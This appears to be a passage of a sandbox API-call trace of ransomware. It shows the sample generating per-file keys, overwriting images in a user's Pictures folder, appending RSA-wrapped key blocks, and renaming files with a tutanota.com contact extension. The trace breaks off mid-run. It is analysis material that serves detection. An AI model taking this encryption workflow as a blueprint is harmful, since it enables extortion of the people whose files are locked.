[0148.798] WriteFile (in: hFile=0x600, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.798] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.798] WriteFile (in: hFile=0x600, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.798] CloseHandle (hObject=0x600) returned 1 [0148.799] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.799] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\FGjN.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\fgjn.gif"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\FGjN.gif.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\pictures\\fgjn.gif.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.800] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0148.800] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.800] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0148.800] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0148.800] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be370 [0148.800] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.800] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.800] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\ffJL5Y.bmp", dwFileAttributes=0x80) returned 1 [0148.801] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bebb0 [0148.801] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5bf3d8 [0148.801] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bebb0 | out: hHeap=0x570000) returned 1 [0148.801] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\ffJL5Y.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\ffjl5y.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0148.801] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=90997) returned 1 [0148.801] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x16375) returned 0x631898 [0148.801] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x16375) returned 0x647c18 [0148.801] ReadFile (in: hFile=0x600, lpBuffer=0x631898, nNumberOfBytesToRead=0x16375, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x16375, lpOverlapped=0x0) returned 1 [0148.805] SetFilePointer (in: hFile=0x600, lDistanceToMove=-90997, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.805] WriteFile (in: hFile=0x600, lpBuffer=0x647c18*, nNumberOfBytesToWrite=0x16375, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x647c18*, lpNumberOfBytesWritten=0x2e3f9b4*=0x16375, lpOverlapped=0x0) returned 1 [0148.805] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0148.805] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x647c18 | out: hHeap=0x570000) returned 1 [0148.805] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x16375 [0148.806] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.806] WriteFile (in: hFile=0x600, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.806] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.806] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.806] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.806] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.806] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="XcHsh2cgGxvJ+uH35lULWPS7Gy/rebv35PzOrC0YEtF/aNTtp8cX/tF3WQCO6yis\nX0EzCVvIEV7ayFV8HtXZFMDkd5VhTSVS/LZTMi7pVBanDf/EaC133MbA/JU9s9sZ\nswD9GjYJT+LSK0D59FZDy/7yBAJRr5/7e4px2UNL6onEUUD+ypJIgRchNkCj1JnI\noWhv0xgnQw0/E8vS5vq/+Jyr3RIEfTxB8HB6t61bMZbLIF3+eawZog5irgMsIIl1\nCQ22FmbpYjJAQdf2r22VTCmKC16+6iP8VhRGH1X18Qcg9bCtAlaBu+iJSbTG2l3p\nzsx8EuHqtgyQOeFOrV1qWw==\n", pcchString=0x2e3f9a8) returned 1 [0148.807] WriteFile (in: hFile=0x600, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.807] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.807] WriteFile (in: hFile=0x600, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.807] CloseHandle (hObject=0x600) returned 1 [0148.807] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.807] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\ffJL5Y.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\ffjl5y.bmp"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\ffJL5Y.bmp.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\pictures\\ffjl5y.bmp.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.809] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0148.809] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.809] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be370 | out: hHeap=0x570000) returned 1 [0148.809] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beaa8 | out: hHeap=0x570000) returned 1 [0148.809] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0148.809] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.809] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.809] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\dWXiA31qMmQxJZ8.png", dwFileAttributes=0x80) returned 1 [0148.809] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0148.809] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e508 [0148.809] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0148.809] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\dWXiA31qMmQxJZ8.png" (normalized: "c:\\users\\fd1hvy\\pictures\\dwxia31qmmqxjz8.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0148.810] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=29971) returned 1 [0148.810] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x7513) returned 0x631898 [0148.810] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x7513) returned 0x638db8 [0148.810] ReadFile (in: hFile=0x600, lpBuffer=0x631898, nNumberOfBytesToRead=0x7513, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x7513, lpOverlapped=0x0) returned 1 [0148.811] SetFilePointer (in: hFile=0x600, lDistanceToMove=-29971, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.811] WriteFile (in: hFile=0x600, lpBuffer=0x638db8*, nNumberOfBytesToWrite=0x7513, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x638db8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x7513, lpOverlapped=0x0) returned 1 [0148.811] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0148.812] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x638db8 | out: hHeap=0x570000) returned 1 [0148.812] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x7513 [0148.812] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.812] WriteFile (in: hFile=0x600, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.812] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.812] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.812] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.812] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.812] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="CRf1peZRUfN/SfC6SbAxrLqJhLkJrxFeE8dPKVW6yMwrrufOD/ORehW2RfEQ7fZ/\ncYLazwAS9vJJQJUDcdV2I6xjOzfHkKRP17mQMRap3ZtjeYtZEQ/T2t8ZENdse5da\n7/CAhs6m9eMMNeY1h4sbxrqvxonfakFyjUEhPEo3NfyuEdyAv4fKwGwgL3/rwfqx\nRDQdC3d3Hk3J3oxYbSNny+oWQaDIVU+twFe1EMfNbSWkJ3Q1pO+sAVs9ZsKSe2n6\nFqIi1bDn52oJZ3SAm0IE0jaf1adDcUEI4LFDV8LRT59GIIHimXxQyW1Ue012UdO5\nkz44rKUgFGdgnq65kFjDcQ==\n", pcchString=0x2e3f9a8) returned 1 [0148.812] WriteFile (in: hFile=0x600, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.812] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.812] WriteFile (in: hFile=0x600, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.813] CloseHandle (hObject=0x600) returned 1 [0148.813] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.813] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\dWXiA31qMmQxJZ8.png" (normalized: "c:\\users\\fd1hvy\\pictures\\dwxia31qmmqxjz8.png"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\dWXiA31qMmQxJZ8.png.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\pictures\\dwxia31qmmqxjz8.png.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.816] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be210 [0148.816] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.816] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.816] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\DkaDJKJkiLuj.gif", dwFileAttributes=0x80) returned 1 [0148.816] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be370 [0148.816] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0148.816] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\DkaDJKJkiLuj.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\dkadjkjkiluj.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0148.816] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=59429) returned 1 [0148.816] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe825) returned 0x631898 [0148.816] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe825) returned 0x6400c8 [0148.816] ReadFile (in: hFile=0x600, lpBuffer=0x631898, nNumberOfBytesToRead=0xe825, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0xe825, lpOverlapped=0x0) returned 1 [0148.819] SetFilePointer (in: hFile=0x600, lDistanceToMove=-59429, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.819] WriteFile (in: hFile=0x600, lpBuffer=0x6400c8*, nNumberOfBytesToWrite=0xe825, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6400c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe825, lpOverlapped=0x0) returned 1 [0148.819] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe825 [0148.819] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.819] WriteFile (in: hFile=0x600, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.819] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.819] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.820] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.820] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.820] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="pOFht+YREEiipZ61NWbeZgHvN/vGWHyRMBWib/YwNZs4dbWuQ25lnsYjjmgjJi4O\nBiZN5qSgDM7Q2rqO+VHd6m/rQdL4jkXDAHoAYf9v7Vn1e6rHtSvPoyU14eKy9eWn\nrmA+g0RvF1pprbF19AZWdgZislWy1AlGu2icrIic7w6nCvXLXobY92NajE0+Zl6M\nIJ1mEAUrFrccX8UjkfTv/exGlvj3gm9eTFLGMY425kNpUBC2XDTpgVMrtNZ9MiW3\ndre+hSb5Z4Sne2tBv+VUBrJbpmGbjCONCqX1f1FAsZGwTLPgPIXzq4LhAX/wiCRu\nL0C3Iakm9BBwWEgON9hNCw==\n", pcchString=0x2e3f9a8) returned 1 [0148.820] WriteFile (in: hFile=0x600, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.820] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.820] WriteFile (in: hFile=0x600, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.820] CloseHandle (hObject=0x600) returned 1 [0148.820] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.820] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\DkaDJKJkiLuj.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\dkadjkjkiluj.gif"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\DkaDJKJkiLuj.gif.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\pictures\\dkadjkjkiluj.gif.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.824] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0148.824] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.824] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be210 | out: hHeap=0x570000) returned 1 [0148.824] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be2c0 | out: hHeap=0x570000) returned 1 [0148.824] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6368 [0148.824] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.824] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.824] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\dfa -XDcno_TAnsh.gif", dwFileAttributes=0x80) returned 1 [0148.824] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b67e0 [0148.825] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e508 [0148.825] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b67e0 | out: hHeap=0x570000) returned 1 [0148.825] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\dfa -XDcno_TAnsh.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\dfa -xdcno_tansh.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0148.825] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=22784) returned 1 [0148.825] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5900) returned 0x631898 [0148.825] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5900) returned 0x6371a0 [0148.825] ReadFile (in: hFile=0x600, lpBuffer=0x631898, nNumberOfBytesToRead=0x5900, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x5900, lpOverlapped=0x0) returned 1 [0148.826] SetFilePointer (in: hFile=0x600, lDistanceToMove=-22784, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.826] WriteFile (in: hFile=0x600, lpBuffer=0x6371a0*, nNumberOfBytesToWrite=0x5900, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6371a0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5900, lpOverlapped=0x0) returned 1 [0148.826] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0148.826] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6371a0 | out: hHeap=0x570000) returned 1 [0148.826] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5900 [0148.826] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.826] WriteFile (in: hFile=0x600, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.826] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.827] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.827] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.827] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.827] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="WESeM5vAXhVvbwaqi6A9yBf26Rq+e56u4IkPV43ezSf8rlz6+FrSgv5Cd0H/HEOZ\ni1TvsMvKJrDRFrdQ7JIHJ5sM3rvfdlkuTXyvwsF2JvVvsNwjfqbexttfIOp3vKPW\n5yv4G585c86X3933tspk1x6WyhsZcXoSdNZ1tWsh6FuWPTm5lJ99YyuXONP0BUpO\na+XhvstVCTRilUGom0qvALNAgOMBm3qy2v8AhpyjZYlJuOUrDEZzriyTBtwuTQcC\neG8E5/MqeCGFNf37jPiHQywJIYp93sFDdJBWXJdbi639NGg4d5aX9Ew4/nvspHuP\nH5ZGLeC5b/9a3RkhlQMJRA==\n", pcchString=0x2e3f9a8) returned 1 [0148.827] WriteFile (in: hFile=0x600, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.827] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.827] WriteFile (in: hFile=0x600, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.827] CloseHandle (hObject=0x600) returned 1 [0148.827] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.827] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\dfa -XDcno_TAnsh.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\dfa -xdcno_tansh.gif"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\dfa -XDcno_TAnsh.gif.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\pictures\\dfa -xdcno_tansh.gif.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.830] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e508 | out: hHeap=0x570000) returned 1 [0148.830] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.830] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6368 | out: hHeap=0x570000) returned 1 [0148.830] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0148.830] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be2c0 [0148.830] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.830] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.830] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\desktop.ini", dwFileAttributes=0x80) returned 1 [0148.830] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be4d0 [0148.830] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0148.830] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be4d0 | out: hHeap=0x570000) returned 1 [0148.830] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\pictures\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0148.831] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=504) returned 